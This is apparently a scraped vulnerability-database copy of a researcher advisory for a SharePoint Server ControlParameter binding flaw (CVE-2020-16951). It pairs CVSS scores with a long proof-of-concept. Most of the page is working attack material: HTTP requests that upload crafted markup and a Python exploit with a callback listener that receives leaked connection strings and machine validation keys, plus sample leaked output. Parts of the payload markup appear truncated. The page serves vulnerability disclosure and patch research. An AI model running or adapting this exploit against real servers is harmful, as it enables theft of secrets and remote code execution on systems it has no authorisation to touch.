Lucene search

K
srcinciteSteven Seeley (mr_me) of Qihoo 360 Vulcan Team and Yuhao Weng (@cjm00nw)SRC-2020-0024
HistoryAug 13, 2020 - 12:00 a.m.

SRC-2020-0024 : Microsoft SharePoint Server TOCTOU ControlParameter Binding Remote Code Execution Vulnerability

2020-08-1300:00:00
Steven Seeley (mr_me) of Qihoo 360 Vulcan Team and Yuhao Weng (@cjm00nw)
srcincite.io
24

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.007 Low

EPSS

Percentile

79.5%

Vulnerability Details:

This vulnerability allows remote attackers to execute arbitrary code on affected installations of SharePoint Server. Authentication is required to exploit this vulnerability.

The specific flaw exists within the WebPartEditingSurfacePage class. The issue results from the lack of proper validation of user-supplied control markup. An attacker can leverage this vulnerability to execute code in the context of the local Administrator.

Affected Vendors:

Microsoft

Affected Products:

SharePoint Server

Vendor Response:

Microsoft has issued an update to correct this vulnerability. More details can be found at: <https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-16951&gt;

#!/usr/bin/python3
"""
Microsoft SharePoint Server TOCTOU ControlParameter Binding Remote Code Execution Vulnerability
Patch: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-16951

## Summary:

An authenticated attacker that can craft a page and trigger a server-side information disclosure by performing parameter binding with the `ControlParameter` class. The attacker can leverage this to leak nested properties inside of classes such as passwords, connection strings and machine validation keys, thus resulting in remote code execution via ViewState Deserialization.

## Notes:

- This is a bypass for CVE-2020-1103
- This poc just leaks sensitive information. An RCE poc will not be provided at this time.
- We are unsure as to why Microsoft didn't credit us for this finding.

## Vulnerability Analysis:

Inside of the `Microsoft.SharePoint.Publishing.dll` assembly, we can find the `Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePage` class.

```c#
namespace Microsoft.SharePoint.Publishing.Internal.CodeBehind
{
    // Token: 0x0200054E RID: 1358
    [PermissionSet(SecurityAction.Demand, Name = "FullTrust")]
    public class WebPartEditingSurfacePage : ComponentPage
    {
    
        // ...

        protected override void OnLoad(EventArgs e)
        {
            if (this.Page.IsPostBack && !SPUtility.ValidateFormDigest())
            {
                throw new SecurityException();
            }
            this.currentWeb = SPContext.Current.Web;
            string text = DesignUtilities.FetchReqiredParamFromQueryString(base.Request, "WebPartUrl", "WebPartEditingSurfacePage");                         // 1
            string previewPageContext = DesignUtilities.FetchReqiredParamFromQueryString(base.Request, "Url", "WebPartEditingSurfacePage");                  // 2
            string fullResourceName;
            string fullResourceName2;
            string text2;
            this.GetWebPartMetaData(text, out fullResourceName, out fullResourceName2, out text2);
            string text3 = this.GetWebPartMarkup(text);                                                                                                      // 3
            string webPartMarkup = WebPartEditingSurfacePage.ConvertWebPartMarkup(text3);                                                                    // 4
            XElement xelement = WebPartEditingSurfacePage.ConvertMarkupToTree(webPartMarkup);                                                                // 5
            XElement xelement2 = xelement.Elements().First();
            WebPartEditingSurfacePage.RemoveSPDSpecificAttributes(xelement2);
            WebPartEditingSurfacePage.AddWebPartId(xelement2);
            if (WebPartEditingSurfacePage.IsDWP(xelement2))
            {
                text3 = xelement2.ToString();
            }
            WebPartEditingSurfacePage.RearrangeMarkupIfDWP(xelement2);
            ComponentMarkup.AddPageDirectives(xelement, ComponentMarkup.PageDirectives.None);
            base.Component.Name = Resources.GetStringExViaSPUtility(fullResourceName);
            base.Component.ComponentName = checked(text.Substring(text.LastIndexOf('/') + 1, text.LastIndexOf('.') - text.LastIndexOf('/') - 1));
            base.Component.HasDivAround = false;
            base.Component.Description = Resources.GetStringExViaSPUtility(fullResourceName2);
            base.Component.Icon = SPUtility.ContextImagesRoot + "webparts32.png";
            base.Component.PreviewPageContext = previewPageContext;
            base.Component.MarkupTree = xelement;
            if (!WebPartEditingSurfacePage.IsDWP(xelement2))
            {
                text3 = base.Component.ConvertMarkupTreeToControlMarkup();
                DesignUtilities.AddAngleBracketsForResourceString(xelement2);
            }
            if (!SPUtility.CheckMarkupForSafeControls(SPContext.Current.Web, text3))                                                                          // 7
            {
                throw new UnauthorizedAccessException();
            }
            bool ignoreParserFilter = SPUtility.VerifySPDControlMarkup(text3);                                                                                // 8
            Control control = base.ParseControl(text3, ignoreParserFilter);                                                                                   // 9
            bool flag = DesignUtilities.IsControlContainsType(control, typeof(ScriptWebPart));                                                                // 10
            if (flag)
            {
                this.webpartPreviewDiv.Controls.Add(control);                                                                                                 // 11
            }
            base.Component.ConvertMarkupTreeToSnippet(!flag);
            SPPageContentManager.RegisterHiddenField(this.Page, WebPartEditingSurfacePage.WebPartMarkupHiddenFieldName, text3);
            base.OnLoad(e);
        }
```

At *[1]* and *[2]* the code accepts attacker influenced values. At *[3]* the code will read the content from the attacker supplied url in `WebPartUrl` or from a postback request. At *[4]* the code is converting the attacker controlled data into a control format and checks for controls that are indeed, not deriving from `WebPart`. However, this check can be bypassed by using comment tags such as:.

Then, later at *[5]* some data conversion takes place as mentioned by Oleksandr Mirosh and Alvaro Muñoz in the paper "Room for Escape: Scribbling Outside the Lines of Template Security" where a page directive that contains a tagprefix of "asp" is essentially removed. So a value like `<%@ Register TagPrefix="asp" Namespace="some" Assembly="junk" %>` is infact removed from the attacker supplied data. Code location *[6]* shows the dangerous data modification.

```c#
        private static XElement ConvertMarkupToTree(string webPartMarkup)
        {
            XElement xelement = new XElement("markup");
            DesignUtilities.AddPageDirective(xelement, "__designer", "SPD");
            MatchCollection matchCollection = WebPartEditingSurfacePage.tagPrefixRegex.Matches(webPartMarkup);
            foreach (object obj in matchCollection)
            {
                Match match = (Match)obj;
                webPartMarkup = webPartMarkup.Replace(match.Value, "");                                                                                       // 6
                string value = match.Groups["TagPrefix"].Value;
                if (value == "cc1")
                {
                    string value2 = match.Groups["DllInfo"].Value;
                    string prefixTagFromDllInfo = WebPartEditingSurfacePage.GetPrefixTagFromDllInfo(value2);
                    DesignUtilities.AddPageDirective(xelement, prefixTagFromDllInfo, value2);
                    webPartMarkup = webPartMarkup.Replace("cc1:", prefixTagFromDllInfo + ":");
                }
                else if (value != "asp")
                {
                    string value3 = match.Groups["DllInfo"].Value;
                    DesignUtilities.AddPageDirective(xelement, value, value3);
                }
            }
            return DesignUtilities.SetMarkupTree(xelement, webPartMarkup);
        }
```

Using the commenting of code and TOCTOU, we can reach *[7]* which is the patch for CVE-2020-1444. This is a call to `SPUtility.CheckMarkupForSafeControls` and this checks for controls that are on the safe list. We can bypass this check because the patch for CVE-2020-1103 is implemented in `Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter`.

```c#
        private bool AllowControlProperties(Type controlType, ControlBuilder childBuilder)
        {
        
            // ...

            if (this.IsTypeOrSubclass(typeof(ControlParameter), controlType) && !this.AllowControlParameterObject(childBuilder))    // CVE-2020-1103 patch
            {
                return false;
            }
            
            // ...
        }
```

By reaching *[8]*, as long as the attacker doesn't have any server-side includes in their payload, then `SPUtility.VerifySPDControlMarkup` will return true. This means at *[9]* the code will call `base.ParseControl` with the second argument set to true. So essentially this code path side steps the `SPPageParserFilter` usage, and thus, the call to `AllowControlProperties`. Now, as long as the attacker has a type of `ScriptWebPart` in their payload at *[10]*, then the control code will be appended to the page at *[11]*.

This allows an attacker to leak sensitive properties via ControlParameters and gain remote code execution.

## Proof of Concept:

The following poc leaks the DatabaseConnectionString from the `SPContentDatabase` class. As shown by Oleksandr, in some cases its possible to leak the MachineValidationKey. Please change anything between [] brackets.

```
PUT /poc.xml HTTP/1.1
Host: [target]
Content-Length: 966

<%@ Register TagPrefix="SearchW" Namespace="Microsoft.Office.Server.Search.WebControls" Assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>><%-- sufix
--%>
]]>```

Now, we can trigger the leaking of the connection string

```
GET /_layouts/15/WebPartEditingSurface.aspx?WebPartUrl=http://[target]/poc.xml&Url=/_catalogs/masterpage/seattle.master HTTP/1.1
Host: [target]
```

## Expected result:

No request made to the attackers server

## Actual result:

The attackers server captures the leaked DatabaseConnectionString.

## Credit:

Steven Seeley (mr_me) of Qihoo 360 Vulcan Team and Yuhao Weng (@cjm00nw)

## References:

- https://media.defcon.org/DEF%20CON%2028/DEF%20CON%20Safe%20Mode%20presentations/DEF%20CON%20Safe%20Mode%20-%20Munoz%20Mirosh%20-%20Room%20For%20Escape%20Scribbling%20Outside%20The%20Lines%20Of%20Template%20Security%20WP.pdf
- https://thesharepointfarm.com/2016/03/unattended-configuration-for-sharepoint-server-2016/

## Patch:

Inside of `Microsoft.SharePoint.Publishing.Internal.CodeBehind.WebPartEditingSurfacePage.OnLoad`

```c#
            Control control = base.ParseControl(text3, false);
```

The code now forces the use of the `Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter` class to filter controls which contains code to block `ControlParameter`.

## Example:

So, in this poc instead of using Oleksandr's original payload, I decided to improve things a little and use `SoapDataSource` as the DataSource. The reason is so we can use an internally reachable IP address in case outbound internet connections are blocked, which will be highly unlikely. But it's also nice to keep the exploit nice and tidy.

Dont worry, this won't bypass whats in `SPPageParserFilter` because `DataFormParameter` extends from `ControlParameter` and `ControlParameter` is already blocked.

researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py win-3t816hj84n4 [email protected]:user123### 172.27.4.89 Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]
(+) eg: ./poc.py win-3t816hj84n4 [email protected]:user123### 172.27.4.89 Web.Site.ContentDatabase.DatabaseConnectionString

researcher@incite:~$ ./poc.py win-3t816hj84n4 [email protected]:user123### 172.27.4.89 Web.Site.ContentDatabase.DatabaseConnectionString
(+) triggered callback, leaking data...
(+) Web.Site.ContentDatabase.DatabaseConnectionString: Data Source=WIN-3T816HJ84N4;Initial Catalog=WSS_Content;Integrated Security=True;Enlist=False;Pooling=True;Min Pool Size=0;Max Pool Size=100;Connect Timeout=60;Packet Size=8000;Application Name=SharePoint[w3wp][2][WSS_Content]
(+) attack completed successfully!

researcher@incite:~$ ./poc.py win-3t816hj84n4 [email protected]:user123### 172.27.4.89 Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]
(+) triggered callback, leaking data...
(+) Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]: 55AAE0A8E646746523FA5EE0675232BE39990CDAC3AE2B0772E32D71C05929D8
(+) attack completed successfully!
"""
import os
import sys
import urllib3
import requests
from platform import uname
from threading import Thread
from xml.etree import ElementTree as ET
from requests_ntlm2 import HttpNtlmAuth
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

flag = False
class toctou_server(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_POST(self):
        content_len = int(self.headers.get('Content-Length'))
        post_body = self.rfile.read(content_len)
        if "pwn" in self.path:
            print("(+) triggered callback, leaking data...")
            flag = True
            tree = ET.ElementTree(ET.fromstring(post_body.decode()))
            data = tree.findall('.//leakeddata')
            for elt in data[0].iter():
                print("(+) %s: %s" % (k, elt.text))
            self.send_response(200)
            self.end_headers()

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s win-3t816hj84n4 [email protected]:user123### 172.27.4.89 Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]" % sys.argv[0])
        print("(+) eg: %s win-3t816hj84n4 [email protected]:user123### 172.27.4.89 Web.Site.ContentDatabase.DatabaseConnectionString" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    u = sys.argv[2].split(":")[0].split("@")[0]
    p = sys.argv[2].split(":")[1]
    d = sys.argv[2].split(":")[0].split("@")[1]
    c = sys.argv[3]
    k = sys.argv[4]
    if "microsoft" not in uname()[2].lower():
        print("(-) WARNING: this was tested on wsl, so it may not work on other platforms")
    server = HTTPServer(('0.0.0.0', 8000), toctou_server)
    handlerthr = Thread(target=server.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    payload = """<%%@ Register TagPrefix="SearchW" Namespace="Microsoft.Office.Server.Search.WebControls" Assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %%>>{leak}<%%-- sufix
--%%>
]]>""" % (c, k)
    r = requests.put("http://%s/poc.xml" % t, data=payload, auth=HttpNtlmAuth('%s\\%s' % (d,u), p))
    if r.status_code == 201 or r.status_code == 200:
        d = {
            "WebPartUrl" : "http://%s/poc.xml" % t,
            "Url" : "/_catalogs/masterpage/seattle.master"
        }
        r = requests.get("http://%s/_layouts/15/WebPartEditingSurface.aspx" % t, auth=HttpNtlmAuth('%s\\%s' % (d,u), p), params=d)
        if r.status_code == 200 and flag:
            print("(+) attack completed successfully!")
        else:
            print("(-) attack failed, probably patched!")

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.007 Low

EPSS

Percentile

79.5%